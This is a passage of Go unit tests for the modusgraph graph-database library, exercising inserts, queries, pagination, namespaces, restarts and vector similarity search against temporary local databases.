| name string 89 | uri string 90 | skip bool 91 | }{ 92 | { 93 | name: "QueryWithFileURI", 94 | uri: "file://" + t.TempDir(), 95 | }, 96 | { 97 | name: "QueryWithDgraphURI", 98 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 99 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 100 | }, 101 | } 102 | 103 | for _, tc := range testCases { 104 | t.Run(tc.name, func(t *testing.T) { 105 | if tc.skip { 106 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 107 | return 108 | } 109 | 110 | client, cleanup := CreateTestClient(t, tc.uri) 111 | defer cleanup() 112 | 113 | entities := make([]*QueryTestRecord, 10) 114 | birthDate := time.Date(1990, 1, 1, 0, 0, 0, 0, time.UTC) 115 | for i := range 10 { 116 | entities[i] = &QueryTestRecord{ 117 | Name: fmt.Sprintf("Test Entity %d", i), 118 | Age: 30 + i, 119 | BirthDate: birthDate.AddDate(0, 0, i), 120 | } 121 | } 122 | ctx := context.Background() 123 | err := client.Insert(ctx, entities) 124 | require.NoError(t, err, "Insert should succeed") 125 | 126 | // Run query sub-tests 127 | t.Run("QueryAll", func(t *testing.T) { 128 | var result []QueryTestRecord 129 | err := client.Query(ctx, QueryTestRecord{}).Nodes(&result) 130 | require.NoError(t, err, "Query should succeed") 131 | require.Len(t, result, 10, "Should have 10 entities") 132 | }) 133 | 134 | t.Run("QueryOrdering", func(t *testing.T) { 135 | var result []QueryTestRecord 136 | err := client.Query(ctx, QueryTestRecord{}).OrderAsc("age").Nodes(&result) 137 | require.NoError(t, err, "Query should succeed") 138 | require.Len(t, result, 10, "Should have 10 entities") 139 | for i := range 10 { 140 | require.Equal(t, result[i].Name, fmt.Sprintf("Test Entity %d", i), "Name should match") 141 | require.Equal(t, result[i].Age, 30+i, "Age should match") 142 | require.Equal(t, result[i].BirthDate, birthDate.AddDate(0, 0, i), "BirthDate should match") 143 | } 144 | }) 145 | 146 | t.Run("QueryWithFilter", func(t *testing.T) { 147 | var result []QueryTestRecord 148 | err := client.Query(ctx, QueryTestRecord{}). 149 | Filter(`(ge(age, 30) and le(age, 35))`). 150 | Nodes(&result) 151 | require.NoError(t, err, "Query should succeed") 152 | require.Len(t, result, 6, "Should have 6 entities") 153 | for _, entity := range result { 154 | require.GreaterOrEqual(t, entity.Age, 30, "Age should be between 30 and 35") 155 | require.LessOrEqual(t, entity.Age, 35, "Age should be between 30 and 35") 156 | } 157 | }) 158 | 159 | t.Run("QueryWithPagination", func(t *testing.T) { 160 | var result []QueryTestRecord 161 | count, err := client.Query(ctx, QueryTestRecord{}).First(5).NodesAndCount(&result) 162 | require.NoError(t, err, "Query should succeed") 163 | require.Len(t, result, 5, "Should have 5 entities") 164 | require.Equal(t, count, 10, "Should have 10 entities") 165 | 166 | err = client.Query(ctx, QueryTestRecord{}). 167 | OrderAsc("age"). 168 | First(5). 169 | Offset(5). 170 | Nodes(&result) 171 | require.NoError(t, err, "Query should succeed") 172 | require.Len(t, result, 5, "Should have 5 entities") 173 | for i := range 5 { 174 | require.Equal(t, result[i].Name, fmt.Sprintf("Test Entity %d", 5+i), "Name should match") 175 | require.Equal(t, result[i].Age, 30+5+i, "Age should match") 176 | require.Equal(t, result[i].BirthDate, birthDate.AddDate(0, 0, 5+i), "BirthDate should match") 177 | } 178 | }) 179 | 180 | t.Run("QueryRaw", func(t *testing.T) { 181 | var result struct { 182 | Data []QueryTestRecord `json:"q"` 183 | } 184 | resp, err := client.QueryRaw(ctx, 185 | `query { q(func: type(QueryTestRecord), orderasc: age) { uid name age birthDate }}`) 186 | require.NoError(t, err, "Query should succeed") 187 | require.NoError(t, json.Unmarshal(resp, &result), "Failed to unmarshal response") 188 | require.Len(t, result.Data, 10, "Should have 10 entities") 189 | for i := range 10 { 190 | require.Equal(t, result.Data[i].Name, fmt.Sprintf("Test Entity %d", i), "Name should match") 191 | require.Equal(t, result.Data[i].Age, 30+i, "Age should match") 192 | require.Equal(t, result.Data[i].BirthDate, birthDate.AddDate(0, 0, i), "BirthDate should match") 193 | } 194 | }) 195 | }) 196 | } 197 | } 198 | 199 | type TestItem struct { 200 | Name string `json:"name,omitempty" dgraph:"index=term"` 201 | Description string `json:"description,omitempty"` 202 | Vector *dg.VectorFloat32 `json:"vector,omitempty" dgraph:"index=hnsw(metric:\"cosine\")"` 203 | 204 | UID string `json:"uid,omitempty"` 205 | DType []string `json:"dgraph.type,omitempty"` 206 | } 207 | 208 | func TestVectorSimilaritySearch(t *testing.T) { 209 | testCases := []struct { 210 | name string 211 | uri string 212 | skip bool 213 | }{ 214 | { 215 | name: "VectorSimilaritySearchWithFileURI", 216 | uri: "file://" + t.TempDir(), 217 | }, 218 | /* 219 | { 220 | name: "VectorSimilaritySearchWithDgraphURI", 221 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 222 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 223 | }, 224 | */ 225 | } 226 | 227 | for _, tc := range testCases { 228 | t.Run(tc.name, func(t *testing.T) { 229 | if tc.skip { 230 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 231 | return 232 | } 233 | 234 | client, cleanup := CreateTestClient(t, tc.uri) 235 | defer cleanup() 236 | 237 | // Insert several items with different vectors 238 | items := []*TestItem{ 239 | { 240 | Name: "Item A", 241 | Description: "First vector", 242 | Vector: &dg.VectorFloat32{Values: []float32{0.1, 0.2, 0.3, 0.4, 0.5}}, 243 | }, 244 | { 245 | Name: "Item B", 246 | Description: "Second vector", 247 | Vector: &dg.VectorFloat32{Values: []float32{0.5, 0.4, 0.3, 0.2, 0.1}}, 248 | }, 249 | { 250 | Name: "Item C", 251 | Description: "Third vector", 252 | Vector: &dg.VectorFloat32{Values: []float32{1.0, 1.0, 1.0, 1.0, 1.0}}, 253 | }, 254 | } 255 | 256 | ctx := context.Background() 257 | err := client.Insert(ctx, items) 258 | require.NoError(t, err, "Insert should succeed") 259 | 260 | var testItem TestItem 261 | vectorVar := "[0.51, 0.39, 0.29, 0.19, 0.09]" 262 | query := dg.NewQuery().Model(&testItem).RootFunc("similar_to(vector, 1, $vec)") 263 | 264 | dgo, cleanup, err := client.DgraphClient() 265 | require.NoError(t, err) 266 | defer cleanup() 267 | tx := dg.NewReadOnlyTxn(dgo) 268 | err = tx.Query(query).Vars("similar_to($vec: string)", map[string]string{"$vec": vectorVar}).Scan() 269 | require.NoError(t, err) 270 | 271 | require.Equal(t, "Item B", testItem.Name) 272 | }) 273 | } 274 | } 275 | -------------------------------------------------------------------------------- /unit_test/conn_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Hypermode Inc. and Contributors 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package unit_test 18 | 19 | import ( 20 | "context" 21 | "testing" 22 | 23 | "github.com/dgraph-io/dgo/v240/protos/api" 24 | "github.com/hypermodeinc/modusgraph" 25 | "github.com/stretchr/testify/require" 26 | ) 27 | 28 | func TestRDF(t *testing.T) { 29 | // Create a new engine - this initializes all the necessary components 30 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 31 | require.NoError(t, err) 32 | defer engine.Close() 33 | 34 | client, err := engine.GetClient() 35 | require.NoError(t, err) 36 | defer client.Close() 37 | 38 | ctx := context.Background() 39 | 40 | // Test a simple operation 41 | txn := client.NewReadOnlyTxn() 42 | resp, err := txn.Query(ctx, "schema {}") 43 | require.NoError(t, err) 44 | require.NotEmpty(t, resp.Json) 45 | _ = txn.Discard(ctx) 46 | 47 | txn = client.NewTxn() 48 | // Additional test: Try a mutation in a transaction 49 | mu := &api.Mutation{ 50 | SetNquads: []byte(`_:person "Test Person" .`), 51 | //CommitNow: true, 52 | } 53 | _, err = txn.Mutate(ctx, mu) 54 | require.NoError(t, err) 55 | // Commit the transaction 56 | err = txn.Commit(ctx) 57 | require.NoError(t, err) 58 | _ = txn.Discard(ctx) 59 | 60 | // Create a new transaction for the follow-up query since the previous one was committed 61 | txn = client.NewTxn() 62 | // Query to verify the mutation worked 63 | resp, err = txn.Query(ctx, `{ q(func: has(n)) { n } }`) 64 | require.NoError(t, err) 65 | require.NotEmpty(t, resp.Json) 66 | _ = txn.Discard(ctx) 67 | 68 | err = client.Alter(context.Background(), &api.Operation{DropAll: true}) 69 | if err != nil { 70 | t.Error(err) 71 | } 72 | } 73 | 74 | // TestMultipleDgraphClients tests multiple clients connecting to the same bufconn server 75 | func TestMultipleDgraphClients(t *testing.T) { 76 | // Create a new engine - this initializes all the necessary components 77 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 78 | require.NoError(t, err) 79 | defer engine.Close() 80 | 81 | // Create a context 82 | ctx := context.Background() 83 | 84 | // Create multiple clients 85 | client1, err := engine.GetClient() 86 | require.NoError(t, err) 87 | defer client1.Close() 88 | 89 | client2, err := engine.GetClient() 90 | require.NoError(t, err) 91 | defer client2.Close() 92 | 93 | // Test that both clients can execute operations 94 | txn1 := client1.NewTxn() 95 | defer func() { 96 | err := txn1.Discard(ctx) 97 | require.NoError(t, err) 98 | }() 99 | 100 | txn2 := client2.NewTxn() 101 | defer func() { 102 | err := txn2.Discard(ctx) 103 | require.NoError(t, err) 104 | }() 105 | 106 | _, err = txn1.Query(ctx, "schema {}") 107 | require.NoError(t, err) 108 | 109 | _, err = txn2.Query(ctx, "schema {}") 110 | require.NoError(t, err) 111 | } 112 | -------------------------------------------------------------------------------- /unit_test/engine_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package unit_test 7 | 8 | import ( 9 | "bytes" 10 | "context" 11 | "encoding/binary" 12 | "fmt" 13 | "testing" 14 | 15 | "github.com/dgraph-io/dgo/v240/protos/api" 16 | "github.com/hypermodeinc/modusgraph" 17 | "github.com/stretchr/testify/require" 18 | ) 19 | 20 | func TestRestart(t *testing.T) { 21 | dataDir := t.TempDir() 22 | 23 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(dataDir)) 24 | require.NoError(t, err) 25 | defer func() { engine.Close() }() 26 | 27 | require.NoError(t, engine.DropAll(context.Background())) 28 | require.NoError(t, engine.GetDefaultNamespace().AlterSchema(context.Background(), "name: string @index(term) .")) 29 | 30 | _, err = engine.GetDefaultNamespace().Mutate(context.Background(), []*api.Mutation{ 31 | { 32 | Set: []*api.NQuad{ 33 | { 34 | Namespace: 0, 35 | Subject: "_:aman", 36 | Predicate: "name", 37 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "A"}}, 38 | }, 39 | }, 40 | }, 41 | }) 42 | require.NoError(t, err) 43 | 44 | query := `{ 45 | me(func: has(name)) { 46 | name 47 | } 48 | }` 49 | qresp, err := engine.GetDefaultNamespace().Query(context.Background(), query) 50 | require.NoError(t, err) 51 | require.JSONEq(t, `{"me":[{"name":"A"}]}`, string(qresp.GetJson())) 52 | 53 | engine.Close() 54 | engine, err = modusgraph.NewEngine(modusgraph.NewDefaultConfig(dataDir)) 55 | require.NoError(t, err) 56 | qresp, err = engine.GetDefaultNamespace().Query(context.Background(), query) 57 | require.NoError(t, err) 58 | require.JSONEq(t, `{"me":[{"name":"A"}]}`, string(qresp.GetJson())) 59 | 60 | require.NoError(t, engine.DropAll(context.Background())) 61 | } 62 | 63 | func TestSchemaQuery(t *testing.T) { 64 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 65 | require.NoError(t, err) 66 | defer engine.Close() 67 | 68 | require.NoError(t, engine.DropAll(context.Background())) 69 | require.NoError(t, engine.GetDefaultNamespace().AlterSchema(context.Background(), ` 70 | name: string @index(exact) . 71 | age: int . 72 | married: bool . 73 | loc: geo . 74 | dob: datetime . 75 | `)) 76 | 77 | resp, err := engine.GetDefaultNamespace().Query(context.Background(), `schema(pred: [name, age]) {type}`) 78 | require.NoError(t, err) 79 | 80 | require.JSONEq(t, 81 | `{"schema":[{"predicate":"age","type":"int"},{"predicate":"name","type":"string"}]}`, 82 | string(resp.GetJson())) 83 | } 84 | 85 | func TestBasicVector(t *testing.T) { 86 | vect := []float32{5.1, 5.1, 1.1} 87 | buf := new(bytes.Buffer) 88 | for _, v := range vect { 89 | require.NoError(t, binary.Write(buf, binary.LittleEndian, v)) 90 | } 91 | vectBytes := buf.Bytes() 92 | 93 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 94 | require.NoError(t, err) 95 | defer engine.Close() 96 | 97 | require.NoError(t, engine.DropAll(context.Background())) 98 | require.NoError(t, engine.GetDefaultNamespace().AlterSchema(context.Background(), 99 | `project_description_v: float32vector @index(hnsw(exponent: "5", metric: "euclidean")) .`)) 100 | 101 | uids, err := engine.GetDefaultNamespace().Mutate(context.Background(), []*api.Mutation{{ 102 | Set: []*api.NQuad{{ 103 | Subject: "_:vector", 104 | Predicate: "project_description_v", 105 | ObjectValue: &api.Value{ 106 | Val: &api.Value_Vfloat32Val{Vfloat32Val: vectBytes}, 107 | }, 108 | }}, 109 | }}) 110 | require.NoError(t, err) 111 | 112 | uid := uids["_:vector"] 113 | if uid == 0 { 114 | t.Fatalf("Expected non-zero uid") 115 | } 116 | 117 | resp, err := engine.GetDefaultNamespace().Query(context.Background(), fmt.Sprintf(`query { 118 | q (func: uid(%v)) { 119 | project_description_v 120 | } 121 | }`, uid)) 122 | require.NoError(t, err) 123 | require.Equal(t, 124 | `{"q":[{"project_description_v":[5.1E+00,5.1E+00,1.1E+00]}]}`, 125 | string(resp.GetJson())) 126 | } 127 | -------------------------------------------------------------------------------- /unit_test/namespace_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package unit_test 7 | 8 | import ( 9 | "context" 10 | "testing" 11 | 12 | "github.com/dgraph-io/dgo/v240/protos/api" 13 | "github.com/hypermodeinc/modusgraph" 14 | "github.com/stretchr/testify/require" 15 | ) 16 | 17 | func TestNonGalaxyDB(t *testing.T) { 18 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 19 | require.NoError(t, err) 20 | defer engine.Close() 21 | 22 | ns1, err := engine.CreateNamespace() 23 | require.NoError(t, err) 24 | 25 | require.NoError(t, ns1.DropData(context.Background())) 26 | require.NoError(t, ns1.AlterSchema(context.Background(), "name: string @index(exact) .")) 27 | 28 | _, err = ns1.Mutate(context.Background(), []*api.Mutation{ 29 | { 30 | Set: []*api.NQuad{ 31 | { 32 | Subject: "_:aman", 33 | Predicate: "name", 34 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "A"}}, 35 | }, 36 | }, 37 | }, 38 | }) 39 | require.NoError(t, err) 40 | 41 | query := `{ 42 | me(func: has(name)) { 43 | name 44 | } 45 | }` 46 | resp, err := ns1.Query(context.Background(), query) 47 | require.NoError(t, err) 48 | require.JSONEq(t, `{"me":[{"name":"A"}]}`, string(resp.GetJson())) 49 | 50 | } 51 | 52 | func TestDropData(t *testing.T) { 53 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 54 | require.NoError(t, err) 55 | defer engine.Close() 56 | 57 | ns1, err := engine.CreateNamespace() 58 | require.NoError(t, err) 59 | 60 | require.NoError(t, ns1.DropData(context.Background())) 61 | require.NoError(t, ns1.AlterSchema(context.Background(), "name: string @index(exact) .")) 62 | 63 | _, err = ns1.Mutate(context.Background(), []*api.Mutation{ 64 | { 65 | Set: []*api.NQuad{ 66 | { 67 | Subject: "_:aman", 68 | Predicate: "name", 69 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "A"}}, 70 | }, 71 | }, 72 | }, 73 | }) 74 | require.NoError(t, err) 75 | 76 | query := `{ 77 | me(func: has(name)) { 78 | name 79 | } 80 | }` 81 | resp, err := ns1.Query(context.Background(), query) 82 | require.NoError(t, err) 83 | require.JSONEq(t, `{"me":[{"name":"A"}]}`, string(resp.GetJson())) 84 | 85 | require.NoError(t, ns1.DropData(context.Background())) 86 | 87 | resp, err = ns1.Query(context.Background(), query) 88 | require.NoError(t, err) 89 | require.JSONEq(t, `{"me":[]}`, string(resp.GetJson())) 90 | } 91 | 92 | func TestMultipleDBs(t *testing.T) { 93 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 94 | require.NoError(t, err) 95 | defer engine.Close() 96 | 97 | db0, err := engine.GetNamespace(0) 98 | require.NoError(t, err) 99 | ns1, err := engine.CreateNamespace() 100 | require.NoError(t, err) 101 | 102 | require.NoError(t, engine.DropAll(context.Background())) 103 | require.NoError(t, db0.AlterSchema(context.Background(), "name: string @index(exact) .")) 104 | require.NoError(t, ns1.AlterSchema(context.Background(), "name: string @index(exact) .")) 105 | 106 | _, err = db0.Mutate(context.Background(), []*api.Mutation{ 107 | { 108 | Set: []*api.NQuad{ 109 | { 110 | Subject: "_:aman", 111 | Predicate: "name", 112 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "A"}}, 113 | }, 114 | }, 115 | }, 116 | }) 117 | require.NoError(t, err) 118 | 119 | _, err = ns1.Mutate(context.Background(), []*api.Mutation{ 120 | { 121 | Set: []*api.NQuad{ 122 | { 123 | Subject: "_:aman", 124 | Predicate: "name", 125 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "B"}}, 126 | }, 127 | }, 128 | }, 129 | }) 130 | require.NoError(t, err) 131 | 132 | query := `{ 133 | me(func: has(name)) { 134 | name 135 | } 136 | }` 137 | resp, err := db0.Query(context.Background(), query) 138 | require.NoError(t, err) 139 | require.JSONEq(t, `{"me":[{"name":"A"}]}`, string(resp.GetJson())) 140 | 141 | resp, err = ns1.Query(context.Background(), query) 142 | require.NoError(t, err) 143 | require.JSONEq(t, `{"me":[{"name":"B"}]}`, string(resp.GetJson())) 144 | 145 | require.NoError(t, ns1.DropData(context.Background())) 146 | resp, err = ns1.Query(context.Background(), query) 147 | require.NoError(t, err) 148 | require.JSONEq(t, `{"me":[]}`, string(resp.GetJson())) 149 | } 150 | 151 | func TestQueryWrongDB(t *testing.T) { 152 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 153 | require.NoError(t, err) 154 | defer engine.Close() 155 | 156 | db0, err := engine.GetNamespace(0) 157 | require.NoError(t, err) 158 | ns1, err := engine.CreateNamespace() 159 | require.NoError(t, err) 160 | 161 | require.NoError(t, engine.DropAll(context.Background())) 162 | require.NoError(t, db0.AlterSchema(context.Background(), "name: string @index(exact) .")) 163 | require.NoError(t, ns1.AlterSchema(context.Background(), "name: string @index(exact) .")) 164 | 165 | _, err = db0.Mutate(context.Background(), []*api.Mutation{ 166 | { 167 | Set: []*api.NQuad{ 168 | { 169 | Namespace: 1, 170 | Subject: "_:aman", 171 | Predicate: "name", 172 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "A"}}, 173 | }, 174 | }, 175 | }, 176 | }) 177 | require.NoError(t, err) 178 | 179 | query := `{ 180 | me(func: has(name)) { 181 | name 182 | } 183 | }` 184 | 185 | resp, err := ns1.Query(context.Background(), query) 186 | require.NoError(t, err) 187 | require.JSONEq(t, `{"me":[]}`, string(resp.GetJson())) 188 | } 189 | 190 | func TestTwoDBs(t *testing.T) { 191 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 192 | require.NoError(t, err) 193 | defer engine.Close() 194 | 195 | db0, err := engine.GetNamespace(0) 196 | require.NoError(t, err) 197 | ns1, err := engine.CreateNamespace() 198 | require.NoError(t, err) 199 | 200 | require.NoError(t, engine.DropAll(context.Background())) 201 | require.NoError(t, db0.AlterSchema(context.Background(), "foo: string @index(exact) .")) 202 | require.NoError(t, ns1.AlterSchema(context.Background(), "bar: string @index(exact) .")) 203 | 204 | _, err = db0.Mutate(context.Background(), []*api.Mutation{ 205 | { 206 | Set: []*api.NQuad{ 207 | { 208 | Subject: "_:aman", 209 | Predicate: "foo", 210 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "A"}}, 211 | }, 212 | }, 213 | }, 214 | }) 215 | require.NoError(t, err) 216 | 217 | _, err = ns1.Mutate(context.Background(), []*api.Mutation{ 218 | { 219 | Set: []*api.NQuad{ 220 | { 221 | Subject: "_:aman", 222 | Predicate: "bar", 223 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "B"}}, 224 | }, 225 | }, 226 | }, 227 | }) 228 | require.NoError(t, err) 229 | 230 | query := `{ 231 | me(func: has(foo)) { 232 | foo 233 | } 234 | }` 235 | resp, err := db0.Query(context.Background(), query) 236 | require.NoError(t, err) 237 | require.JSONEq(t, `{"me":[{"foo":"A"}]}`, string(resp.GetJson())) 238 | 239 | query = `{ 240 | me(func: has(bar)) { 241 | bar 242 | } 243 | }` 244 | resp, err = ns1.Query(context.Background(), query) 245 | require.NoError(t, err) 246 | require.JSONEq(t, `{"me":[{"bar":"B"}]}`, string(resp.GetJson())) 247 | } 248 | 249 | func TestDBDBRestart(t *testing.T) { 250 | dataDir := t.TempDir() 251 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(dataDir)) 252 | require.NoError(t, err) 253 | defer func() { engine.Close() }() 254 | 255 | ns1, err := engine.CreateNamespace() 256 | require.NoError(t, err) 257 | ns1Id := ns1.ID() 258 | 259 | require.NoError(t, ns1.AlterSchema(context.Background(), "bar: string @index(exact) .")) 260 | _, err = ns1.Mutate(context.Background(), []*api.Mutation{ 261 | { 262 | Set: []*api.NQuad{ 263 | { 264 | Subject: "_:aman", 265 | Predicate: "bar", 266 | ObjectValue: &api.Value{Val: &api.Value_StrVal{StrVal: "B"}}, 267 | }, 268 | }, 269 | }, 270 | }) 271 | require.NoError(t, err) 272 | 273 | engine.Close() 274 | engine, err = modusgraph.NewEngine(modusgraph.NewDefaultConfig(dataDir)) 275 | require.NoError(t, err) 276 | 277 | db2, err := engine.CreateNamespace() 278 | require.NoError(t, err) 279 | require.Greater(t, db2.ID(), ns1Id) 280 | 281 | ns1, err = engine.GetNamespace(ns1Id) 282 | require.NoError(t, err) 283 | 284 | query := `{ 285 | me(func: has(bar)) { 286 | bar 287 | } 288 | }` 289 | resp, err := ns1.Query(context.Background(), query) 290 | require.NoError(t, err) 291 | require.JSONEq(t, `{"me":[{"bar":"B"}]}`, string(resp.GetJson())) 292 | } 293 | -------------------------------------------------------------------------------- /unit_test/vector_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package unit_test 7 | 8 | import ( 9 | "context" 10 | "encoding/json" 11 | "fmt" 12 | "strings" 13 | "testing" 14 | 15 | "github.com/dgraph-io/dgo/v240/protos/api" 16 | "github.com/hypermodeinc/dgraph/v24/dgraphapi" 17 | "github.com/hypermodeinc/modusgraph" 18 | "github.com/stretchr/testify/require" 19 | ) 20 | 21 | const ( 22 | vectorSchemaWithIndex = `%v: float32vector @index(hnsw(exponent: "%v", metric: "%v")) .` 23 | numVectors = 1000 24 | ) 25 | 26 | func TestVectorDelete(t *testing.T) { 27 | engine, err := modusgraph.NewEngine(modusgraph.NewDefaultConfig(t.TempDir())) 28 | require.NoError(t, err) 29 | defer engine.Close() 30 | 31 | require.NoError(t, engine.DropAll(context.Background())) 32 | require.NoError(t, engine.GetDefaultNamespace().AlterSchema(context.Background(), 33 | fmt.Sprintf(vectorSchemaWithIndex, "vtest", "4", "euclidean"))) 34 | 35 | // insert random vectors 36 | assignIDs, err := engine.LeaseUIDs(numVectors + 1) 37 | require.NoError(t, err) 38 | //nolint:gosec 39 | rdf, vectors := dgraphapi.GenerateRandomVectors(int(assignIDs.StartId)-10, int(assignIDs.EndId)-10, 10, "vtest") 40 | _, err = engine.GetDefaultNamespace().Mutate(context.Background(), []*api.Mutation{{SetNquads: []byte(rdf)}}) 41 | require.NoError(t, err) 42 | 43 | // check the count of the vectors inserted 44 | const q1 = `{ 45 | vector(func: has(vtest)) { 46 | count(uid) 47 | } 48 | }` 49 | resp, err := engine.GetDefaultNamespace().Query(context.Background(), q1) 50 | require.NoError(t, err) 51 | require.JSONEq(t, fmt.Sprintf(`{"vector":[{"count":%d}]}`, numVectors), string(resp.Json)) 52 | 53 | // check whether all the vectors are inserted 54 | const vectorQuery = ` 55 | { 56 | vector(func: has(vtest)) { 57 | uid 58 | vtest 59 | } 60 | }` 61 | 62 | require.Equal(t, vectors, queryVectors(t, engine, vectorQuery)) 63 | 64 | triples := strings.Split(rdf, "\n") 65 | deleteTriple := func(idx int) string { 66 | _, err := engine.GetDefaultNamespace().Mutate(context.Background(), []*api.Mutation{{ 67 | DelNquads: []byte(triples[idx]), 68 | }}) 69 | require.NoError(t, err) 70 | 71 | uid := strings.Split(triples[idx], " ")[0] 72 | q2 := fmt.Sprintf(`{ 73 | vector(func: uid(%s)) { 74 | vtest 75 | } 76 | }`, uid[1:len(uid)-1]) 77 | 78 | res, err := engine.GetDefaultNamespace().Query(context.Background(), q2) 79 | require.NoError(t, err) 80 | require.JSONEq(t, `{"vector":[]}`, string(res.Json)) 81 | return triples[idx] 82 | } 83 | 84 | const q3 = ` 85 | { 86 | vector(func: similar_to(vtest, 1, "%v")) { 87 | uid 88 | vtest 89 | } 90 | }` 91 | for i := 0; i < len(triples)-2; i++ { 92 | triple := deleteTriple(i) 93 | vectorQuery := fmt.Sprintf(q3, strings.Split(triple, `"`)[1]) 94 | respVectors := queryVectors(t, engine, vectorQuery) 95 | require.Len(t, respVectors, 1) 96 | require.Contains(t, vectors, respVectors[0]) 97 | } 98 | 99 | triple := deleteTriple(len(triples) - 2) 100 | _ = queryVectors(t, engine, fmt.Sprintf(q3, strings.Split(triple, `"`)[1])) 101 | } 102 | 103 | func queryVectors(t *testing.T, engine *modusgraph.Engine, query string) [][]float32 { 104 | resp, err := engine.GetDefaultNamespace().Query(context.Background(), query) 105 | require.NoError(t, err) 106 | 107 | var data struct { 108 | Vector []struct { 109 | UID string `json:"uid"` 110 | VTest []float32 `json:"vtest"` 111 | } `json:"vector"` 112 | } 113 | require.NoError(t, json.Unmarshal(resp.Json, &data)) 114 | 115 | vectors := make([][]float32, 0) 116 | for _, vector := range data.Vector { 117 | vectors = append(vectors, vector.VTest) 118 | } 119 | return vectors 120 | } 121 | -------------------------------------------------------------------------------- /update_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Hypermode Inc. and Contributors 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package modusgraph_test 18 | 19 | import ( 20 | "context" 21 | "os" 22 | "testing" 23 | "time" 24 | 25 | "github.com/stretchr/testify/require" 26 | ) 27 | 28 | func TestClientUpdate(t *testing.T) { 29 | 30 | testCases := []struct { 31 | name string 32 | uri string 33 | skip bool 34 | }{ 35 | { 36 | name: "UpdateWithFileURI", 37 | uri: "file://" + t.TempDir(), 38 | }, 39 | { 40 | name: "UpdateWithDgraphURI", 41 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 42 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 43 | }, 44 | } 45 | 46 | for _, tc := range testCases { 47 | t.Run(tc.name, func(t *testing.T) { 48 | if tc.skip { 49 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 50 | return 51 | } 52 | 53 | client, cleanup := CreateTestClient(t, tc.uri) 54 | defer cleanup() 55 | 56 | entity := TestEntity{ 57 | Name: "Test Entity", 58 | Description: "This is a test entity for the Update method", 59 | CreatedAt: time.Now(), 60 | } 61 | 62 | ctx := context.Background() 63 | err := client.Insert(ctx, &entity) 64 | require.NoError(t, err, "Insert should succeed") 65 | require.NotEmpty(t, entity.UID, "UID should be assigned") 66 | 67 | uid := entity.UID 68 | err = client.Get(ctx, &entity, uid) 69 | require.NoError(t, err, "Get should succeed") 70 | require.Equal(t, entity.UID, uid, "UID should match") 71 | 72 | entity.Description = "Four score and seven years ago" 73 | err = client.Update(ctx, &entity) 74 | require.NoError(t, err, "Update should succeed") 75 | 76 | err = client.Get(ctx, &entity, uid) 77 | require.NoError(t, err, "Get should succeed") 78 | require.Equal(t, entity.Description, "Four score and seven years ago", "Description should match") 79 | }) 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /util_test.go: -------------------------------------------------------------------------------- 1 | package modusgraph_test 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "os" 7 | "strconv" 8 | "testing" 9 | 10 | "github.com/go-logr/stdr" 11 | mg "github.com/hypermodeinc/modusgraph" 12 | "github.com/stretchr/testify/require" 13 | ) 14 | 15 | // CreateTestClient creates a new 